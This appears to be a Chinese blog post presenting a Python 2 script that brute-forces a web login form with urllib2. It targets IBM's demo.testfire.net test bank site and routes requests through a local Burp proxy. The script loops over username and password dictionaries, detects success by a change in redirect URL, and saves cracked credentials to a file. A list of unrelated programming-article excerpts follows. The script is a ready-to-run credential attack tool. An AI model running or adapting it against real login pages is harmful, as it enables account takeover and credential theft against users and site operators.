使用 python 的 urllib2和 urllib模块爆破 form 表单的简易脚本

  1. python 的 http 中 urllib2和 urllib模块在web 表单爆破的使用方法

  2. 脚本中还增加了 urllib2和 urllib模块如何添加代理的方法

# -*- coding: utf-8 -*-
import urllib2
import urllib
import timedef brute_force(user, password):#strip() 方法用于移除字符串头尾指定的字符(默认为空格)name = user.strip()passwd = password.strip()#添加代理:本地8080端口的代理是 burp 工具,主要是查看脚本发包回包的情况,好定位问题proxy = urllib2.ProxyHandler({"http":'http://127.0.0.1:8080'})opener = urllib2.build_opener(proxy)urllib2.install_opener(opener)#IBM 公司的一个 测试网站url1 = "http://demo.testfire.net/bank/login.aspx"user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"headers = {"User-Agent":user_agent,"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://demo.testfire.net/bank/login.aspx"}values = {'uid': name, 'passw': passwd,'btnSubmit':'Login'}data = urllib.urlencode(values)#可以把key-value这样的键值对转换成我们想要的格式,返回的是a=1&b=2这样的字符串request = urllib2.Request(url1,data,headers)response = urllib2.urlopen(request)url2 = response.geturl()time.sleep(3)if url2 != url1:#因为urllib2 返回的页面如果存在302重定向,返回的页面是重定向之后的页面,所以不能以302状态码来判断是否登录成功,#因为重定向之后的页面访问成功是200,不是302;所以以返回的页面是不是发生变化来判断是否是否登录成功。print '---- find user:', name, ' with password:',passwd, '-----'print url2outFile.write(name + ':' + passwd+'\n' )else:print '----- error user:', name, ' with password:',passwd, '-----'print url2response.close()returnoutFile = open('accounts-cracked.txt', 'w')if __name__ == '__main__':#导入用户名字典with open('user.dic', 'r') as userline:y = userline.readlines()#导入密码的字典with open('pass.dic', 'r') as passline:b= passline.readlines()for u in y:for p in b:brute_force(user=u,password=p)outFile.close()
with open('accounts-cracked.txt','r') as text:list = text.readlines()sum=len(list)if sum>0:print "找到",sum,"个账号密码"
else:print "All thread OK,maybe not "

输入有点丑,将就用下
clipboard.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/290466.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在 ASP.NET Core 中为同一接口配置不同的实现

前言通常&#xff0c;我们使用依赖注入时&#xff0c;一个接口仅对应一种实现&#xff0c;使用时可以直接得到实现类的实例&#xff0c;类似这样&#xff1a;services.AddScoped<IServiceA,ServiceA>();public WeatherForecastController(IServiceA service) { }但是&…

jQuery学习笔记2

一、获取并设置CSS类&#xff1a; 1、addClass( ) 方法 &#xff1a;可以选取多个元素&#xff0c;也可以在该方法中规定多个类。 1 $("#div1").addClass("important blue"); 2 $("h1,h2,p").addClass("blue"); 2、removeClass( )方法…

分析windows宿主机Ping不通linux虚拟机的其中一种情况

ping不通的情况是由于设置网络选项的时候&#xff0c;可以看到界面名称的选择如下(当前选择的是无线网卡驱动): ping得通的情况是由于设置网络选项的时候&#xff0c;可以看到界面名称的选择如下(当前选择的是有线网卡驱动): 分析原因是由于电脑有两个网卡驱动&#xff0c;一个…

C和指针之函数之实现阶乘和斐波那契数(递归和非递归)

1、问题 实现阶乘和斐波那契数(递归和非递归) 2、代码实现 #include <stdio.h>int num = 0; //递归实现斐波那契数 // n <=2, f(n) = 1, n > 2 f(n) = f(n - 1) + f(); long fibonacci(int n) {//计算fibonacci(3)计算了多少次if (n == 3)num++;if (n <= 2){p…

同事都说有SQL注入风险,我非说没有

前言现在的项目&#xff0c;在操作数据库的时候&#xff0c;我都喜欢用ORM框架&#xff0c;其中EF是一直以来用的比较多的&#xff1b;EF 的封装的确让小伙伴一心注重业务逻辑就行了&#xff0c;不用过多的关注操作数据库的具体细节。但是在某些场景会选择执行SQL语句&#xff…

​【v2.x OGE-example 第二节】 实体参数

【v2.x OGE-example 第二节】 实体参数1. 位置&#xff1a;Drawing_example --> SpriteParameters2. 类名&#xff1a;SpriteParameters(1)旋转精灵&#xff1a;sprite.setRotation(float pRotation) 设置旋转角度sprite.setRotationCenter(float pRotationCenterX, float p…

王道408数据结构——第七章 查找

文章目录一、基本概念二、顺序查找&#xff08;线性查找&#xff09;一般线性表的顺序查找有序表的顺序查找二、折半查找&#xff08;二分查找&#xff09;三、分块查找&#xff08;索引顺序查找&#xff09;四、B树五、B树六、散列表构造散列函数1. 直接定址法2. 除留取余法3.…

L1-004.计算摄氏温度

给定一个华氏温度F&#xff0c;本题要求编写程序&#xff0c;计算对应的摄氏温度C。计算公式&#xff1a;C 5*(F-32)/9。题目保证输入与输出均在整型范围内。 输入格式&#xff1a; 输入在一行中给出一个华氏温度。 输出格式&#xff1a; 在一行中按照格式“Celsius C”输出对…

C和指针之函数之可变参数

1、可变参数如何实现 可变参数列表是通过宏来实现的,这些宏定义在stdarg.h头文件中,这个头文件声明了一个类型va_list和三个宏,va_start、va_arg、va_end,一般我们声明一个类型为va_list的变量,和这个几个宏配合使用,访问参数的值。 2、实现一个函数多个参数求均值 比…

hadoop:could only be replicated to 0 nodes, instead of 1

在Hadoop的环境搭建过程中&#xff0c;常常会遇到类似这样的错误信息提示&#xff1a;“could only be replicated to 0 nodes, instead of 1 ”&#xff0c;产生这样的错误原因有多种&#xff0c;这里列举出以下四种常用的解决方法以供参考&#xff1a; 确保master&#xff08…

System.Type类

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Reflection; namespace ConsoleApplication1 {class Program{static void Main(string[] args){//System.Type类//获取指向任何给定的类型…

.NET6之MiniAPI(二十三):Refit

本篇是与上篇HttpClient有关联的&#xff0c;有前篇中&#xff0c;我们是直接使用HttpClient来发出请求的&#xff0c;所有的请求信息都是我们根据需要自己来填充的。那Refit是什么呢&#xff1f;它是一个让我们调用API就像调用一个对象的方法一样简单&#xff0c;是通过把http…

设置utf8编码问题

注意&#xff1a;乱码和request的具体实现类有关&#xff0c;现在已经查到的是RequestDispatcher.forward调用前使用的是org.apache.catalina.connector.RequestFacade类而RequestDispatcher.forward调用后使用的是org.apache.catalina.core.ApplicationHttpRequest&#xff0c…

王道408数据结构——第八章 排序

文章目录一、排序定义二、插入排序——直接插入排序1. 描述2. 代码和示例3. 空间效率4. 时间效率5. 稳定性6. 适用性三、插入排序——折半插入排序1. 描述2. 时间效率3. 稳定性四、插入排序——希尔排序&#xff08;缩小增量排序&#xff09;1. 描述2. 代码和示例3. 空间效率4.…

C和指针之函数之递归实现厄密多项式

1、厄密多项式介绍 /*Hermite Polynomials(厄密多项式)是这样定义的1 ,n < 0Hn(x) 2x ,n 12xHn-1(x) - 2(n-1)Hn-2(x) ,n > 2*/ 2、代码实现 #include <stdio.h>/*Hermite Polynomials(厄密多项式)是这样定义的…

设置状态栏和导航栏

// 初始化导航栏外观效果 - (void)initialNavigationBarStyle { // 1. 获取导航栏的外观代理对象 UINavigationBar *navBar [UINavigationBar appearance]; // 2. 设置背景图片 [navBar setBackgroundImage:[UIImage imageNamed:"NavBar64"] forBarMetrics:UIBarMet…

PHP 长文章分页函数

<?php function ff_page($content,$page) { global $expert_id; $PageLength 2000; //每页字数 $CLength strlen($content); $PageCount floor(($CLength / $PageLength)) 1; //计算页数 $PageArrayarray(); $Seperator array("n","r","。&q…

Avalonia跨平台入门第二十一篇之玩耍CEF

在前面分享的几篇中咱已经玩耍了Popup、ListBox多选、Grid动态分、RadioButton模板、控件的拖放效果、控件的置顶和置底、控件的锁定、自定义Window样式、动画效果、Expander控件、ListBox折叠列表、聊天窗口、ListBox图片消息、窗口抖动、语音发送、语音播放、语音播放问题;今…

golang实现自定义驱动的Cache

近期在写 ActivedRouter项目的时候需求一个缓存模型&#xff0c;要求缓存模型支持不同驱动,例如:memory、file、redis、mysql&#xff0c;实现思路代码如下: cache.go文件,定义缓存对外接口 //ActivedRouter //Author:usher.yue //Amail:usher.yuegmail.com //TencentQQ:422366…

C和指针之函数之求最大公约数

1、求最大公约数 求公约数的规则如下/*** M % N 0 : N*gcd(M, N) * M % N R, R > 0 : gcd(N, R)*/ 2、代码实现 #include <stdio.h> /*** M % N 0 : N*gcd(M, N) * M % N R, R > 0 : gcd(N, R)*/int gcd(int …